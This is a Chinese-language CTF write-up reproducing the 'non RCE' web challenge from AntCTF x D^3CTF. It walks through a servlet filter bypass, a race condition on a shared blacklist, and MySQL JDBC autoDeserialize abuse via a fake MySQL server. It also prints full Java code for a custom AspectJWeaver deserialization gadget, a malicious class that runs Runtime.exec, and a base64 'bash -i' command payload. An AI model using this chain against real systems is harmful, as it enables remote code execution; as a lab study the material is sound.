AntCTF x D^3CTF [non RCE?] 賽后復現


前言

基本沒怎么打CTF比賽了,最近空閑下來想拓展和活躍下思路,剛好看到AntCTF的一道web題目的writeup,打算跟着學習一波

環境搭建

首先搭好環境

https://github.com/Ant-FG-Lab/non_RCE

idea里面直接使用maven就可以,web啟動在launch里面

這道題目考察的是

filter的配置繞過
條件競爭
mysql反序列化
AspectJWeaver的gadget構造
加載惡意類實現遠程代碼執行

知識點1

繞過filter

首先第一個點繞過LoginFilter,先看看這個filter的內容

大致意思是題目有個密碼,基本爆破不了,訪問admin/路徑的時候會觸發該filter驗證密碼,密碼以password的get參數傳入,password不對直接返回401認證失敗

繞過方法是使用forward,恰巧AntiUrlAttackerFilter有forward操作

方式很簡單將傳入的./或者;替換為空並且將新的url傳入forward即可

這是為什么呢,這里在@WebFilter 裝飾器的參數中有個叫dispatcherTypes的參數,默認存在DispatcherType.REQUEST參數,而他還有DispatcherType.FORWARD、DispatcherType.INCLUDE、DispatcherType.ASYNC、DispatcherType.ERROR這4個參數,如果在設置中設置了dispatcherTypes所對應的參數,則會進行filter過濾,反之沒有設置則不會再被filter進行過濾

因為此次為默認,只會過濾REQUEST請求,不會過濾FORWARD,則照成了繞過

此時使用forward跳轉也會觸發LoginFilter過濾器了

知識點2

jdbc中存在參數autoDeserialize,這個參數官方手冊解釋到

autoDeserialize:自動檢測與反序列化存在BLOB字段中的對象。

但這個參數默認是false,因為可以控制jdbc的url於是我們需要將其設置為true,但是在BlackListChecker中設置了黑名單,中有autoDeserialize和%為黑名單內容

所以帶上autoDeserialize請求會返回400,過濾%是為了過濾掉編碼

但因為BlackList使用的單例工廠模式,即只有一個實例

再看check(String s)函數操作,取出實例后將傳入的字符串放入setToBeChecked(String s)函數中,因為只有一個實例,所以每次請求都會刷新this.toBeChecked的值,意味着只要在被攔截的poc執行doCheck()之前將不被攔截的poc放入setToBeChecked(String s)中重新對this.toBeChecked賦值,則可繞過

也就是此處存在條件競爭,一個poc發送帶有autoDeserialize字段的請求,另一個不帶,2個爆破一起啟動

知識點3

mysql反序列化,為了理解該點,我先手動添加commons.collections 3組件

那么mysql反序列化即在連接jdbc階段即可觸發,觸發條件autoDeserialize=true在知識點2中已經解決,而mysql反序列化是因為下面一串代碼照成,在mysql-connector-java中如果autoDeserialize=true則會調用到readObject()這是我們反序列的入口

public Object getObject(int columnIndex) throws SQLException {
……
case BLOB:
  byte[] data = getBytes(columnIndex);
  if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
     Object obj = data;
     // Serialized object?
     try {
       ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
       ObjectInputStream objIn = new ObjectInputStream(bytesIn);
       obj = objIn.readObject();
     }
  }
}

接下來需要一個參數statementInterceptors來加載對應的類觸發反序列化的操作,這里網上查一下在5.1版本可以使用下面的類

statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

因此這里的poc進一步變成

jdbc:mysql://127.0.0.1:3306/hhsrc?autoDeserialize=true%26user=root%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

接下來有觸發,就是需要被readObject()的數據如何傳入了,但是在mysql-connector-java中傳入的columnIndex變量其實為sql語句執行后的返回內容,但是此處我們可以控制mysql的連接地址,因此可以做到去自定義mysql服務器的內容,讓題目環境連接后觸發,而com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor會觸發下面的sql語句

SHOW SESSION STATUS

此時需要一個mysql服務器將內容返回為反序列的poc,即可完成利用,github有現成的工具

https://github.com/fnmsd/MySQL_Fake_Server

因為我3306的mysql已經啟動,這里就將poc的端口設置為3307

以及對ysoserial.jar路徑進行設置

使用dnslog查看是否存在漏洞

dnslog記錄信息

使用poc

# touch /Users/mi0/Desktop/1.txt
# bash -c {echo,dG91Y2ggL1VzZXJzL21pMC9EZXNrdG9wLzEudHh0}|{base64,-d}|{bash,-i}

觸發,我本機的java是jdk1.8 所以使用CommonsCollections5組件

發送poc成功添加文件,執行命令

添加成功

這里因為沒有commons.collections類的組件,暫時我手動添加,利用AspectJWeaver組件和DataMap寫在知識點4中

知識點4

反序列化構造,這里使用了AspectJWeaver組件,writeup中提到ysoserial項目中近期也更新了其poc,可以看看怎么寫的

看到他使用了commons.collections組件,題目給的pom.xml中是沒有該組件的,出題人也表示不想讓選手直接使用現成的poc,因此此處需要自己寫gadget的poc

這里構造gadget就需要DataMap文件中的代碼,可以看到DataMap類是調用了Serializable接口是可以反序列化的

首先對AspectJWeaver進行分析,從ysoserial可知,使用反射調用了StoreableCachingMap,simpleCache即為實例

找到依賴包中的源碼

StoreableCachingMap中對put方法進行了重寫

跟進writeToPath方法,可以看到將 valueBytes的內容寫到 key文件中

key文件的路徑在poc中為當前目錄

對其中調用的commons-collection3的理解,其中lazymap的作用,跟蹤一下,發現在get不存在時會觸發put操作

TiedMapEntry在調用getValue方法時會調用成員變量的map的key值

而HashMap在yso中的代碼邏輯會調用對象的getValue()方法

大致邏輯是

HashMap(不依賴common-collection) -> 傳入TiedMapEntry實例 -> 觸發getValue
TiedMapEntry(依賴common-collection) -> 傳入Lazymap實例和文件名 -> 觸發getValue時,觸發Lazymap的get()操作,參數為文件名
Lazymap(依賴common-collection) -> 傳入AspectJWeaver實例和字符串 -> 觸發get()操作時,觸發傳入AspectJWeaver實例的put()操作,key為文件名,value為字符串
AspectJWeaver(不依賴common-collection) —> 通過Lazymap執行put操作 -> 觸發自身的put操作寫入文件

那么此時就需要從DataMap中替換掉TideMapEntry和Lazymap以及Transformer,ConstantTransformer參數

通讀DataMap可以大致建立替換關系

TiedMapEntry				=>	DataMap$Entry
Lazymap							=>	DataMap

進行修改,將原先Common-collection的組件進行替換,Entry是DataMap的內部內,因此反射聲明的時候需要帶上對應實例

大致邏輯如下

HashMap調用DataMap$EntryhasCode()

DataMap$EntryhasCode()觸發this.getValue(),並且this.key參數為文件路徑

this.value是為null的接下來觸發外部的類DataMapget()方法

this.values的值為org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap強轉后的map,該值在此次會被判定為空,則進入this.vaules.put()中,也就是StoreableCachingMapput()方法,傳入的key值為文件路徑,v值為this.wrapperMap.get(文件路徑)也就是content變量(即文件內容),運行下poc

成功新加文件

添加aaa.txt文件

知識點5

現在問題來了,整個知識點4的反序列化流程分析完,該漏洞只能做到對服務器上進行寫文件,但題目的環境基本沒有使用jsp之類可直接運行腳本文件。也就是如果存在個上傳點,也無法實現webshell上傳

這里可以利用知識點3中的statementInterceptors來幫助我們完成rce,也就是第一步上傳能彈shell的類到指定路徑,第二步用statementInterceptors調用上傳的類實現rce

先打包試試原生態的aaa.txt的poc

使用知識點3的方法,這里方便調試我把知識點2中的blacklist的黑名單過濾關了

在調試時遇到個坑(是我對反序列化還不夠了解導致的),包的路徑必須和目標的路徑相同才能反序列成功,因此對yso中添加的DataMap的位置進行了調整

現在調試成功,可以對目標服務器寫入文件了

接下來是路徑文件,如果使用.的當前目錄,則會寫到項目的根目錄下

現在的想法是寫到我們能調用的目錄下面去,那么應該在target/classes目錄下面,准備反序列化的poc

我在servlet目錄下生成一個叫做poc的類

package servlet;
import java.io.*;

public class poc implements Serializable {

    private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
        out.defaultReadObject();
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
    }
}

通過以下代碼生成反序列化字符串

poc o = new poc();
FileOutputStream fileOutputStream = new FileOutputStream("/Users/mi0/Desktop/serialize.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);

下一步修改mysql反序列工具中的二進制字段,讓返回值為我們生成的序列化文件內容

嘗試一下,成功

本地調試成功,接下來就是把poc類傳到目標服務器即可,將poc.class提取出來並保存為base64

import base64

f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)

把目錄下的poc.java刪除,重新打包

mysql反序列工具中添加我們的poc

發送,成功添加

修改mysql反序列化為打開生成的poc文件后再次發送,成功執行touch命令

解題流程

在上面5個知識點將題目分解成5個知識點並逐個調試完成后,現將整個題目進行復現

編寫根據題目提供的DataMap類的反序列化gadget

package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import org.python.modules.time.Time;
import checker.DataMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2"})
@Authors({ "sijidou" })

public class Antictf implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        String[] parts = command.split(";");
        String filename = parts[0];
        byte[] content = Base64.decodeBase64(parts[1]);

        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);

        HashMap wrapperMap = new HashMap();
        wrapperMap.put(filename,content);
        DataMap dataMap = new DataMap(wrapperMap, (Map)simpleCache);
        Constructor Entryctor = Reflections.getFirstCtor("checker.DataMap$Entry");
        Reflections.setAccessible(Entryctor);
        Object entry = Entryctor.newInstance(dataMap, filename);

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

    public static void main(String[] args) throws Exception {
        args = new String[]{"bbb.txt;YWhpaGloaQ=="};
        PayloadRunner.run(Antictf.class, args);
    }
}

使用maven打包成jar包,idea能夠快速打包,在右側欄點開maven,點擊compile再點package即可,生成的jar包在target目錄下

編寫惡意類,運行生成serialize.txt

package servlet;

import java.io.*;
import java.io.Serializable;

public class poc implements Serializable {
    public poc() {
    }

    private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
        out.defaultReadObject();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("touch /Users/mi0/Desktop/1.txt");
    }

    public static void main(String[] args) throws Exception {
        poc o = new poc();
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
    }
}

運行后使用python腳本將class的內容轉換為base64

import base64

f = open('poc.class', 'rb')
clazz = f.read()
result = base64.b64encode(clazz)
print(result)

編輯mysql反序列化工具的config.json,並修改生成的yso的jar包的路徑

https://github.com/fnmsd/MySQL_Fake_Server

啟動mysql工具(我這里啟到3307端口的),使用條件競爭執行,執行反序列化寫文件

重復發送1000次

修改mysql反序列化工具代碼,將傳入字符串改為poc的反序列化值

重新啟動mysql反序列化的server.py,再次重復條件競爭

成功添加

參考

https://blog.csdn.net/fnmsd/article/details/106232092

https://meizjm3i.github.io/2021/03/07/Servlet中的時間競爭以及AsjpectJWeaver反序列化Gadget構造-AntCTFxD-3CTF-non-RCE題解/

https://daybr4ak.github.io/2021/03/12/no-RCE反序列化鏈分析/![]


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM